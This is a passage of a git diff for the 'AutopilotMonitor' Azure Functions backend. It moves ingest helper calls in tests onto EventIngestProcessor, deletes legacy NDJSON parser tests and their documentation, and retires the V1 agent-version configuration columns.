"/api/diagnostics/download-url", false)] // MemberRead (JWT) [InlineData("POST", "/api/diagnostics/download-ticket", false)]// MemberRead (JWT) — mints the ticket [InlineData("GET", "/api/health", true)] // PublicAnonymous - [InlineData("POST", "/api/agent/ingest", true)] // DeviceOrBootstrapAuth + [InlineData("POST", "/api/agent/telemetry", true)] // DeviceOrBootstrapAuth [InlineData("GET", "/api/bootstrap/validate/ABC123", true)] // PublicAnonymous (param route) [InlineData("GET", "/api/sessions", false)] // MemberRead [InlineData("GET", "/api/config/00000000-0000-0000-0000-000000000001", false)] // TenantAdminOrGlobalReader diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/EventTimestampValidationTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/EventTimestampValidationTests.cs index 2bfde408..f38db376 100644 --- a/src/Backend/AutopilotMonitor.Functions.Tests/EventTimestampValidationTests.cs +++ b/src/Backend/AutopilotMonitor.Functions.Tests/EventTimestampValidationTests.cs @@ -1,4 +1,3 @@ -using AutopilotMonitor.Functions.Functions.Ingest; using AutopilotMonitor.Functions.Services; using AutopilotMonitor.Shared.Models; using Microsoft.Extensions.Logging; @@ -279,7 +278,7 @@ public class EventTimestampValidationTests new() { Timestamp = new DateTime(2026, 3, 25, 10, 0, 0, DateTimeKind.Utc) } }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow); Assert.Null(events[0].OriginalTimestamp); Assert.False(events[0].TimestampClamped); @@ -294,7 +293,7 @@ public class EventTimestampValidationTests new() { Timestamp = badTimestamp } }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow); Assert.True(events[0].TimestampClamped); Assert.Equal(badTimestamp, events[0].OriginalTimestamp); @@ -312,7 +311,7 @@ public class EventTimestampValidationTests new() { Timestamp = new DateTime(2099, 1, 1, 0, 0, 0, DateTimeKind.Utc), EventType = "bad_future_event" }, }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow); // Valid event: unchanged Assert.False(events[0].TimestampClamped); @@ -340,7 +339,7 @@ public class EventTimestampValidationTests new() { Timestamp = new DateTime(2026, 3, 25, 10, 0, 0, DateTimeKind.Utc) }, }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow); Assert.Equal(3, events.Count); // All events preserved } @@ -349,7 +348,7 @@ public class EventTimestampValidationTests public void SanitizeEventTimestamps_EmptyList_DoesNotThrow() { var ex = Record.Exception(() => - IngestEventsFunction.SanitizeEventTimestamps(new List(), FixedUtcNow)); + EventIngestProcessor.SanitizeEventTimestamps(new List(), FixedUtcNow)); Assert.Null(ex); } @@ -374,7 +373,7 @@ public class EventTimestampValidationTests } }; - IngestEventsFunction.RecalculateAppDurations(state); + EventIngestProcessor.RecalculateAppDurations(state); Assert.Equal(60, state.Summary.DurationSeconds); } @@ -399,7 +398,7 @@ public class EventTimestampValidationTests } }; - IngestEventsFunction.RecalculateAppDurations(state); + EventIngestProcessor.RecalculateAppDurations(state); Assert.Equal(30, state.Summary.DownloadDurationSeconds); // download→install gap Assert.Equal(75, state.Summary.DurationSeconds); // full duration @@ -423,59 +422,16 @@ public class EventTimestampValidationTests } }; - IngestEventsFunction.RecalculateAppDurations(state); + EventIngestProcessor.RecalculateAppDurations(state); // Should be clamped to max 7 days (604800 seconds), not ~220 million seconds Assert.Equal(EventTimestampValidator.DefaultMaxDurationSeconds, state.Summary.DurationSeconds); } // ========================================================================= - // End-to-End Pipeline: NDJSON parse → stamp → sanitize → safe for storage + // End-to-End Pipeline: stamp → sanitize → safe for storage // ========================================================================= - [Fact] - public void FullPipeline_ParseStampSanitize_TimestampsAreSafe() - { - // Simulate NDJSON payload with events containing bad timestamps - var ndjsonLines = new[] - { - Newtonsoft.Json.JsonConvert.SerializeObject( - new { SessionId = ValidSessionId, TenantId = ValidTenantId }), - Newtonsoft.Json.JsonConvert.SerializeObject( - new EnrollmentEvent - { - EventType = "phase_changed", - Timestamp = new DateTime(2026, 3, 25, 10, 0, 0, DateTimeKind.Utc) // valid - }), - Newtonsoft.Json.JsonConvert.SerializeObject( - new EnrollmentEvent - { - EventType = "bad_clock_event", - Timestamp = DateTime.MinValue // invalid - }), - }; - var ndjson = string.Join('\n', ndjsonLines); - - // Step 1: Parse - var (sessionId, tenantId, events) = NdjsonParser.ParseNdjson(ndjson); - - // Step 2: Stamp server fields - IngestEventsFunction.StampServerFields(events, tenantId, sessionId, FixedUtcNow); - - // Step 3: Sanitize timestamps - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); - - // Verify: all timestamps are within valid range - foreach (var evt in events) - { - Assert.True(EventTimestampValidator.IsReasonableTimestamp(evt.Timestamp, FixedUtcNow), - $"Event {evt.EventType} has unreasonable timestamp: {evt.Timestamp}"); - } - - // Verify: no events were dropped - Assert.Equal(2, events.Count); - } - [Fact] public void FullPipeline_MinValueTimestamp_ClampedWithOriginalPreserved() { @@ -490,8 +446,8 @@ public class EventTimestampValidationTests } }; - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, FixedUtcNow); - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, FixedUtcNow); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow); var evt = events[0]; @@ -517,8 +473,8 @@ public class EventTimestampValidationTests new() { EventType = "also_valid", Timestamp = FixedUtcNow.AddHours(1) }, }; - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, FixedUtcNow); - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, FixedUtcNow); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow); // All 4 events preserved Assert.Equal(4, events.Count); @@ -623,7 +579,7 @@ public class EventTimestampValidationTests new() { Timestamp = badTs, EventType = "bad_clock_event" } }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow); Assert.True(events[0].TimestampClamped); Assert.Equal(badTs, events[0].OriginalTimestamp); @@ -642,7 +598,7 @@ public class EventTimestampValidationTests new() { Timestamp = FixedUtcNow.AddDays(-2), EventType = "valid_past" }, // valid }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow); // Catastrophic: clamped to utcNow (falls into past-drift category) Assert.True(events[0].TimestampClamped); @@ -679,7 +635,7 @@ public class EventTimestampValidationTests new() { Timestamp = FixedUtcNow.AddMinutes(-30), EventType = "valid" }, }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow, logger); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow, logger); Assert.Empty(logger.WarningMessages); } @@ -695,7 +651,7 @@ public class EventTimestampValidationTests new() { Timestamp = FixedUtcNow.AddHours(-2), EventType = "valid", TenantId = ValidTenantId, SessionId = ValidSessionId }, }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow, logger); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow, logger); // Exactly one aggregate warning per batch (not one per event) Assert.Single(logger.WarningMessages); @@ -714,7 +670,7 @@ public class EventTimestampValidationTests new() { Timestamp = FixedUtcNow.AddHours(30), EventType = "future", TenantId = ValidTenantId, SessionId = ValidSessionId }, }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow, logger); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow, logger); Assert.Single(logger.WarningMessages); var props = logger.WarningProperties[0]; @@ -747,7 +703,7 @@ public class EventTimestampValidationTests new() { Timestamp = DateTime.MinValue, EventType = "catastrophic", TenantId = ValidTenantId, SessionId = ValidSessionId }, }; - IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow, logger); + EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow, logger); Assert.Single(logger.WarningMessages); var props = logger.WarningProperties[0]; @@ -768,7 +724,7 @@ public class EventTimestampValidationTests new() { Timestamp = FixedUtcNow.AddDays(-18), EventType = "bad_clock" } }; - var ex = Record.Exception(() => IngestEventsFunction.SanitizeEventTimestamps(events, FixedUtcNow)); + var ex = Record.Exception(() => EventIngestProcessor.SanitizeEventTimestamps(events, FixedUtcNow)); Assert.Null(ex); Assert.True(events[0].TimestampClamped); diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/IngestCriticalPathTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/IngestCriticalPathTests.cs index 95ef7eb8..c4055487 100644 --- a/src/Backend/AutopilotMonitor.Functions.Tests/IngestCriticalPathTests.cs +++ b/src/Backend/AutopilotMonitor.Functions.Tests/IngestCriticalPathTests.cs @@ -1,5 +1,5 @@ -using AutopilotMonitor.Functions.Functions.Ingest; using AutopilotMonitor.Functions.Security; +using AutopilotMonitor.Functions.Services; using AutopilotMonitor.Shared.Models; namespace AutopilotMonitor.Functions.Tests; @@ -10,7 +10,7 @@ namespace AutopilotMonitor.Functions.Tests; /// REGRESSION GUARD: On 2026-03-19 the ingest endpoint returned 500 for all devices because /// individual events did not have TenantId/SessionId set before being passed to /// StoreEventsBatchAsync, which validates them as GUIDs. -/// StampServerFields (extracted from ProcessIngestAsync) is the fix — these tests ensure +/// StampServerFields (now on EventIngestProcessor) is the fix — these tests ensure /// it can never be accidentally removed or bypassed. /// public class IngestCriticalPathTests @@ -28,7 +28,7 @@ public class IngestCriticalPathTests var receivedAt = DateTime.UtcNow; var events = MakeEvents(3); - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, receivedAt); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, receivedAt); Assert.All(events, evt => Assert.Equal(receivedAt, evt.ReceivedAt)); } @@ -38,7 +38,7 @@ public class IngestCriticalPathTests { var events = MakeEvents(3); - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); Assert.All(events, evt => Assert.Equal(ValidTenantId, evt.TenantId)); } @@ -48,7 +48,7 @@ public class IngestCriticalPathTests { var events = MakeEvents(3); - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); Assert.All(events, evt => Assert.Equal(ValidSessionId, evt.SessionId)); } @@ -62,7 +62,7 @@ public class IngestCriticalPathTests new() { TenantId = null, SessionId = null }, }; - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); Assert.Equal(ValidTenantId, events[0].TenantId); Assert.Equal(ValidSessionId, events[0].SessionId); @@ -77,7 +77,7 @@ public class IngestCriticalPathTests new() { TenantId = "wrong-tenant-value", SessionId = "wrong-session" }, }; - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); Assert.Equal(ValidTenantId, events[0].TenantId); Assert.Equal(ValidSessionId, events[0].SessionId); @@ -95,7 +95,7 @@ public class IngestCriticalPathTests new() { TenantId = ValidTenantId }, // already correct }; - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); Assert.All(events, evt => Assert.Equal(ValidTenantId, evt.TenantId)); } @@ -104,23 +104,23 @@ public class IngestCriticalPathTests public void StampServerFields_EmptyList_DoesNotThrow() { var ex = Record.Exception(() => - IngestEventsFunction.StampServerFields([], ValidTenantId, ValidSessionId, DateTime.UtcNow)); + EventIngestProcessor.StampServerFields([], ValidTenantId, ValidSessionId, DateTime.UtcNow)); Assert.Null(ex); } // ------------------------------------------------------------------------- // Guard: after StampServerFields, EnsureValidGuid must pass for all events - // (simulates the contract between ProcessIngestAsync and StoreEventsBatchAsync) + // (simulates the contract between ProcessEventsAsync and StoreEventsBatchAsync) // ------------------------------------------------------------------------- [Fact] public void StampServerFields_ThenEnsureValidGuid_DoesNotThrow() { - // This is the exact sequence in ProcessIngestAsync → StoreEventsBatchAsync. + // This is the exact sequence in ProcessEventsAsync → StoreEventsBatchAsync. // If StampServerFields is removed or broken, this test fails with ArgumentException. var events = MakeEvents(5, tenantId: null, sessionId: null); - IngestEventsFunction.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); + EventIngestProcessor.StampServerFields(events, ValidTenantId, ValidSessionId, DateTime.UtcNow); // Simulate what StoreEventsBatchAsync does: foreach (var evt in events) @@ -141,43 +141,6 @@ public class IngestCriticalPathTests SecurityValidator.EnsureValidGuid(events[0].TenantId, "TenantId")); } - // ------------------------------------------------------------------------- - // NDJSON → Stamp → Validate: full pipeline test (no I/O, pure logic) - // ------------------------------------------------------------------------- - - [Fact] - public void FullPipeline_ParseNdjsonThenStamp_AllEventsHaveValidGuids() - { - // Simulates what ProcessIngestAsync does from parse to storage: - // 1. Parse NDJSON (events may have null/wrong TenantId from agent) - // 2. StampServerFields (backend overrides with validated tenantId) - // 3. EnsureValidGuid passes → no 500 - - var ndjsonLines = new[] - { - Newtonsoft.Json.JsonConvert.SerializeObject( - new { SessionId = ValidSessionId, TenantId = ValidTenantId }), - Newtonsoft.Json.JsonConvert.SerializeObject( - new EnrollmentEvent { EventType = "phase_changed" }), // no TenantId - Newtonsoft.Json.JsonConvert.SerializeObject( - new EnrollmentEvent { EventType = "hardware_spec", TenantId = "" }), // empty TenantId - }; - var ndjson = string.Join('\n', ndjsonLines); - - var (sessionId, tenantId, events) = NdjsonParser.ParseNdjson(ndjson); - - // Stamp (as ProcessIngestAsync does) - IngestEventsFunction.StampServerFields(events, tenantId, sessionId, DateTime.UtcNow); - - // Validate (as StoreEventsBatchAsync does) - foreach (var evt in events) - { - SecurityValidator.EnsureValidGuid(evt.TenantId, "TenantId"); - SecurityValidator.EnsureValidGuid(evt.SessionId, "SessionId"); - } - // No exception = the regression is fixed - } - // ------------------------------------------------------------------------- // TenantId mismatch guard (body vs header) // ------------------------------------------------------------------------- diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/IngestMaxLifetimeShutdownTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/IngestMaxLifetimeShutdownTests.cs index 01f78f9a..b8c53918 100644 --- a/src/Backend/AutopilotMonitor.Functions.Tests/IngestMaxLifetimeShutdownTests.cs +++ b/src/Backend/AutopilotMonitor.Functions.Tests/IngestMaxLifetimeShutdownTests.cs @@ -1,4 +1,4 @@ -using AutopilotMonitor.Functions.Functions.Ingest; +using AutopilotMonitor.Functions.Services; using AutopilotMonitor.Shared.Models; using Xunit; @@ -9,9 +9,9 @@ namespace AutopilotMonitor.Functions.Tests; /// WITHOUT emitting enrollment_failed ("notbremse, not a session verdict"), so the /// agent_shutting_down(reason=max_lifetime) event is the last one the session ever /// sends — without a backend mapping the session stays InProgress forever. These tests pin -/// the shared detection predicate used by both classification copies (legacy ingest + -/// EventIngestProcessor); the status write itself rides the existing -/// UpdateSessionStatusAsync(Failed) path as the lowest-priority status writer. +/// the detection predicate used by the EventIngestProcessor classification; the status write +/// itself rides the existing UpdateSessionStatusAsync(Failed) path as the +/// lowest-priority status writer. /// public class IngestMaxLifetimeShutdownTests { @@ -37,13 +37,13 @@ public class IngestMaxLifetimeShutdownTests [Fact] public void MaxLifetimeReason_IsDetected() { - Assert.True(IngestEventsFunction.IsMaxLifetimeAgentShutdown(Shutdown("max_lifetime"))); + Assert.True(EventIngestProcessor.IsMaxLifetimeAgentShutdown(Shutdown("max_lifetime"))); } [Fact] public void MaxLifetimeReason_IsDetected_CaseInsensitively() { - Assert.True(IngestEventsFunction.IsMaxLifetimeAgentShutdown(Shutdown("Max_Lifetime"))); + Assert.True(EventIngestProcessor.IsMaxLifetimeAgentShutdown(Shutdown("Max_Lifetime"))); } [Theory] @@ -57,25 +57,25 @@ public class IngestMaxLifetimeShutdownTests [InlineData("runtime_host_exit")] public void OtherShutdownReasons_AreNotDetected(string reason) { - Assert.False(IngestEventsFunction.IsMaxLifetimeAgentShutdown(Shutdown(reason))); + Assert.False(EventIngestProcessor.IsMaxLifetimeAgentShutdown(Shutdown(reason))); } [Fact] public void MissingReasonData_IsNotDetected() { - Assert.False(IngestEventsFunction.IsMaxLifetimeAgentShutdown(Shutdown(reason: null))); + Assert.False(EventIngestProcessor.IsMaxLifetimeAgentShutdown(Shutdown(reason: null))); } [Fact] public void OtherEventTypes_AreNotDetected_EvenWithMaxLifetimeReason() { - Assert.False(IngestEventsFunction.IsMaxLifetimeAgentShutdown( + Assert.False(EventIngestProcessor.IsMaxLifetimeAgentShutdown( Shutdown("max_lifetime", eventType: "agent_shutdown"))); } [Fact] public void NullEvent_IsNotDetected() { - Assert.False(IngestEventsFunction.IsMaxLifetimeAgentShutdown(null)); + Assert.False(EventIngestProcessor.IsMaxLifetimeAgentShutdown(null)); } } diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/IngestTelemetryFunctionTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/IngestTelemetryFunctionTests.cs index 0b36b5b4..3f83a554 100644 --- a/src/Backend/AutopilotMonitor.Functions.Tests/IngestTelemetryFunctionTests.cs +++ b/src/Backend/AutopilotMonitor.Functions.Tests/IngestTelemetryFunctionTests.cs @@ -79,7 +79,7 @@ public class IngestTelemetryFunctionTests [Fact] public async Task ReadBodyWithSizeCapAsync_accepts_body_exactly_at_cap() { - // Strict greater-than semantics (matches legacy NdjsonParser): equal-to is OK. Pad a valid + // Strict greater-than semantics: equal-to is OK. Pad a valid // batch with trailing whitespace (ignored by the parser) to land exactly on the cap. var json = "[{\"Kind\":\"Signal\",\"PayloadJson\":\"{}\"}]".PadRight(100); var payload = Encoding.UTF8.GetBytes(json); diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/NdjsonParserTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/NdjsonParserTests.cs deleted file mode 100644 index efd4aa9b..00000000 --- a/src/Backend/AutopilotMonitor.Functions.Tests/NdjsonParserTests.cs +++ /dev/null @@ -1,199 +0,0 @@ -using AutopilotMonitor.Functions.Functions.Ingest; -using AutopilotMonitor.Shared.Models; -using Newtonsoft.Json; - -namespace AutopilotMonitor.Functions.Tests; - -/// -/// Tests for NdjsonParser — the NDJSON parsing contract. -/// Gzip transport compression is handled by ASP.NET Core's UseRequestDecompression middleware, -/// so this parser only deals with already-decompressed NDJSON streams. -/// If the wire format between agent and backend ever drifts, these tests will catch it. -/// -public class NdjsonParserTests -{ - private static readonly string ValidTenantId = "a1b2c3d4-e5f6-7890-abcd-ef1234567890"; - private static readonly string ValidSessionId = "b2c3d4e5-f6a7-8901-bcde-f12345678901"; - - // --- ParseNdjson (plain string, no gzip) --- - - [Fact] - public void ParseNdjson_MetadataOnly_ReturnsCorrectTenantAndSession() - { - var ndjson = JsonConvert.SerializeObject(new { SessionId = ValidSessionId, TenantId = ValidTenantId }); - - var (sessionId, tenantId, events) = NdjsonParser.ParseNdjson(ndjson); - - Assert.Equal(ValidSessionId, sessionId); - Assert.Equal(ValidTenantId, tenantId); - Assert.Empty(events); - } - - [Fact] - public void ParseNdjson_WithEvents_ReturnsAllEvents() - { - var lines = new[] - { - JsonConvert.SerializeObject(new { SessionId = ValidSessionId, TenantId = ValidTenantId }), - JsonConvert.SerializeObject(new EnrollmentEvent { EventType = "phase_changed", Message = "Device Setup" }), - JsonConvert.SerializeObject(new EnrollmentEvent { EventType = "app_install_started", Message = "MyApp" }), - }; - var ndjson = string.Join('\n', lines); - - var (_, _, events) = NdjsonParser.ParseNdjson(ndjson); - - Assert.Equal(2, events.Count); - Assert.Equal("phase_changed", events[0].EventType); - Assert.Equal("app_install_started", events[1].EventType); - } - - [Fact] - public void ParseNdjson_EventsDoNotInheritTenantIdFromMetadata() - { - // Critical contract: the parser does NOT stamp TenantId onto events. - // That is done by StampServerFields — these are two separate responsibilities. - var lines = new[] - { - JsonConvert.SerializeObject(new { SessionId = ValidSessionId, TenantId = ValidTenantId }), - JsonConvert.SerializeObject(new EnrollmentEvent { EventType = "test_event" }), - }; - var ndjson = string.Join('\n', lines); - - var (_, _, events) = NdjsonParser.ParseNdjson(ndjson); - - // Event has no TenantId from agent JSON → will be null until StampServerFields is called - Assert.Null(events[0].TenantId); - Assert.Null(events[0].SessionId); - } - - [Fact] - public void ParseNdjson_EventWithAgentSuppliedTenantId_PreservesItUntilStamped() - { - var agentTenantId = "c3d4e5f6-a7b8-9012-cdef-012345678901"; - var lines = new[] - { - JsonConvert.SerializeObject(new { SessionId = ValidSessionId, TenantId = ValidTenantId }), - JsonConvert.SerializeObject(new EnrollmentEvent { EventType = "test_event", TenantId = agentTenantId }), - }; - var ndjson = string.Join('\n', lines); - - var (_, _, events) = NdjsonParser.ParseNdjson(ndjson); - - // Parser preserves what the agent sent — StampServerFields will override it - Assert.Equal(agentTenantId, events[0].TenantId); - } - - [Fact] - public void ParseNdjson_TrailingNewlines_AreIgnored() - { - var ndjson = JsonConvert.SerializeObject(new { SessionId = ValidSessionId, TenantId = ValidTenantId }) - + "\n\n\n"; - - var (sessionId, tenantId, events) = NdjsonParser.ParseNdjson(ndjson); - - Assert.Equal(ValidSessionId, sessionId); - Assert.Empty(events); - } - - [Fact] - public void ParseNdjson_NullOrEmptyLine_IsSkipped() - { - var lines = new[] - { - JsonConvert.SerializeObject(new { SessionId = ValidSessionId, TenantId = ValidTenantId }), - "", - JsonConvert.SerializeObject(new EnrollmentEvent { EventType = "real_event" }), - }; - // Note: Split('\n', RemoveEmptyEntries) already removes empty lines — - // this test verifies the parser handles extra whitespace lines gracefully. - var ndjson = string.Join('\n', lines); - - var (_, _, events) = NdjsonParser.ParseNdjson(ndjson); - - Assert.Single(events); - Assert.Equal("real_event", events[0].EventType); - } - - [Fact] - public void ParseNdjson_EventDataWithNestedObjects_IsNormalized() - { - var lines = new[] - { - JsonConvert.SerializeObject(new { SessionId = ValidSessionId, TenantId = ValidTenantId }), - """{"EventType":"hardware_spec","Data":{"cpuName":"Intel i7","cores":8}}""", - }; - var ndjson = string.Join('\n', lines); - - var (_, _, events) = NdjsonParser.ParseNdjson(ndjson); - - // After normalization, values should be native .NET types, not JValue/JObject - Assert.Single(events); - var cpuName = events[0].Data["cpuName"]; - Assert.IsNotType(cpuName); - Assert.Equal("Intel i7", cpuName?.ToString()); - } - - [Fact] - public void ParseNdjson_EmptyString_ThrowsInvalidOperationException() - { - Assert.Throws(() => NdjsonParser.ParseNdjson("")); - } - - // --- ParseNdjsonStreamAsync (decompressed stream — middleware handles gzip upstream) --- - - private static byte[] BuildNdjsonBytes(string sessionId, string tenantId, IEnumerable events) - { - var sb = new System.Text.StringBuilder(); - sb.AppendLine(JsonConvert.SerializeObject(new { SessionId = sessionId, TenantId = tenantId })); - foreach (var evt in events) - sb.AppendLine(JsonConvert.SerializeObject(evt)); - return System.Text.Encoding.UTF8.GetBytes(sb.ToString()); - } - - [Fact] - public async Task ParseNdjsonStreamAsync_ValidPayload_ReturnsCorrectData() - { - var payload = BuildNdjsonBytes(ValidSessionId, ValidTenantId, - [ - new EnrollmentEvent { EventType = "phase_changed" }, - new EnrollmentEvent { EventType = "app_install_started" }, - ]); - - using var stream = new MemoryStream(payload); - var (sessionId, tenantId, events) = await NdjsonParser.ParseNdjsonStreamAsync(stream, 5 * 1024 * 1024); - - Assert.Equal(ValidSessionId, sessionId); - Assert.Equal(ValidTenantId, tenantId); - Assert.Equal(2, events.Count); - } - - [Fact] - public async Task ParseNdjsonStreamAsync_PayloadExceedsMaxSize_Throws() - { - var payload = BuildNdjsonBytes(ValidSessionId, ValidTenantId, - Enumerable.Range(0, 100).Select(_ => new EnrollmentEvent - { - EventType = "test", - Message = new string('x', 1000) - })); - - using var stream = new MemoryStream(payload); - - // Restrict to 1 byte — will throw immediately - await Assert.ThrowsAsync( - () => NdjsonParser.ParseNdjsonStreamAsync(stream, maxSizeBytes: 1)); - } - - [Fact] - public async Task ParseNdjsonStreamAsync_EmptyEvents_ReturnsMetadataOnly() - { - var payload = BuildNdjsonBytes(ValidSessionId, ValidTenantId, []); - - using var stream = new MemoryStream(payload); - var (sessionId, tenantId, events) = await NdjsonParser.ParseNdjsonStreamAsync(stream, 5 * 1024 * 1024); - - Assert.Equal(ValidSessionId, sessionId); - Assert.Equal(ValidTenantId, tenantId); - Assert.Empty(events); - } -} diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/NoStoreCacheMiddlewareTests.cs b/src/Backend/AutopilotMonitor.Functions.Tests/NoStoreCacheMiddlewareTests.cs index 21854829..87903743 100644 --- a/src/Backend/AutopilotMonitor.Functions.Tests/NoStoreCacheMiddlewareTests.cs +++ b/src/Backend/AutopilotMonitor.Functions.Tests/NoStoreCacheMiddlewareTests.cs @@ -53,7 +53,6 @@ public class NoStoreCacheMiddlewareTests [Theory] [InlineData("/api/health")] [InlineData("/api/stats/platform")] - [InlineData("/api/agent/ingest")] // ingest is write-only, no body returned [InlineData("/api/agent/telemetry")] [InlineData("/api/agent/register-session")] [InlineData("/api/auth/global-admins")] // returns admin list, but no Bearer/SAS diff --git a/src/Backend/AutopilotMonitor.Functions.Tests/TESTING.md b/src/Backend/AutopilotMonitor.Functions.Tests/TESTING.md index 3431bcd8..a496ccaa 100644 --- a/src/Backend/AutopilotMonitor.Functions.Tests/TESTING.md +++ b/src/Backend/AutopilotMonitor.Functions.Tests/TESTING.md @@ -21,16 +21,6 @@ This test suite protects the Azure Functions backend against regressions in secu **Production bug prevented:** Timestamp overflow (DateTime.MaxValue) crashed Azure Table Storage writes. Tests enforce clamping before storage. -### NdjsonParserTests (14 tests) - -**Protects against:** Malformed NDJSON payloads crashing event ingestion, gzip decompression failures, TenantId inheritance contract violations. - -| Area | What it tests | -|------|--------------| -| `ParseNdjson` | Metadata extraction, TenantId inheritance, trailing newlines, nested objects | -| `ParseGzipAsync` | Valid payload parsing, size limit enforcement | -| `BuildGzipPayload` | Round-trip serialization symmetry | - ### DistressRateLimitServiceTests (21 tests) **Protects against:** DDoS on the unauthenticated distress endpoint, per-IP abuse, tenant-level flooding. diff --git a/src/Backend/AutopilotMonitor.Functions/DataAccess/TableStorage/TableConfigRepository.cs b/src/Backend/AutopilotMonitor.Functions/DataAccess/TableStorage/TableConfigRepository.cs index bd0624a5..c5f0b2bb 100644 --- a/src/Backend/AutopilotMonitor.Functions/DataAccess/TableStorage/TableConfigRepository.cs +++ b/src/Backend/AutopilotMonitor.Functions/DataAccess/TableStorage/TableConfigRepository.cs @@ -541,14 +541,10 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage { "OpsAlertSlackEnabled", config.OpsAlertSlackEnabled }, { "OpsAlertSlackWebhookUrl", config.OpsAlertSlackWebhookUrl ?? string.Empty }, // Per-line agent binary integrity (written by build scripts via Merge). - // Symmetric V1/V2 schema; future V3 = add field set here. - // Old "LatestAgent*" columns (no V1 suffix) are read in ConvertFrom for migration — - // never written here so the next Save evicts them implicitly on overwrite. + // V2 is the only wired line; future V3 = add field set here. Retired columns + // (V1-suffix and the even older unsuffixed "LatestAgent*") are never written, + // so the next Save evicts them implicitly on overwrite. { "AllowAgentDowngrade", config.AllowAgentDowngrade }, - { "LatestAgentV1Version", config.LatestAgentV1Version ?? string.Empty }, - { "LatestAgentV1Sha256", config.LatestAgentV1Sha256 ?? string.Empty }, - { "LatestAgentV1ExeSha256", config.LatestAgentV1ExeSha256 ?? string.Empty }, - { "LatestBootstrapV1ScriptVersion", config.LatestBootstrapV1ScriptVersion ?? string.Empty }, { "LatestAgentV2Version", config.LatestAgentV2Version ?? string.Empty }, { "LatestAgentV2Sha256", config.LatestAgentV2Sha256 ?? string.Empty }, { "LatestAgentV2ExeSha256", config.LatestAgentV2ExeSha256 ?? string.Empty }, @@ -608,18 +604,8 @@ namespace AutopilotMonitor.Functions.DataAccess.TableStorage OpsAlertTeamsWebhookUrl = entity.GetString("OpsAlertTeamsWebhookUrl"), OpsAlertSlackEnabled = entity.GetBoolean("OpsAlertSlackEnabled") ?? false, OpsAlertSlackWebhookUrl = entity.GetString("OpsAlertSlackWebhookUrl"), - // Per-line agent binary integrity. Read V1-suffix column first; fall back to the - // legacy unsuffixed column ("LatestAgentVersion") so existing rows migrate - // transparently on the next Save. + // Per-line agent binary integrity. V2 is the only wired line (V1 retired). AllowAgentDowngrade = entity.GetBoolean("AllowAgentDowngrade") ?? false, - LatestAgentV1Version = entity.GetString("LatestAgentV1Version") - ?? entity.GetString("LatestAgentVersion") ?? string.Empty, - LatestAgentV1Sha256 = entity.GetString("LatestAgentV1Sha256") - ?? entity.GetString("LatestAgentSha256") ?? string.Empty, - LatestAgentV1ExeSha256 = entity.GetString("LatestAgentV1ExeSha256") - ?? entity.GetString("LatestAgentExeSha256") ?? string.Empty, - LatestBootstrapV1ScriptVersion = entity.GetString("LatestBootstrapV1ScriptVersion") - ?? entity.GetString("LatestBootstrapScriptVersion") ?? string.Empty, LatestAgentV2Version = entity.GetString("LatestAgentV2Version") ?? string.Empty, LatestAgentV2Sha256 = entity.GetString("LatestAgentV2Sha256") ?? string.Empty, LatestAgentV2ExeSha256 = 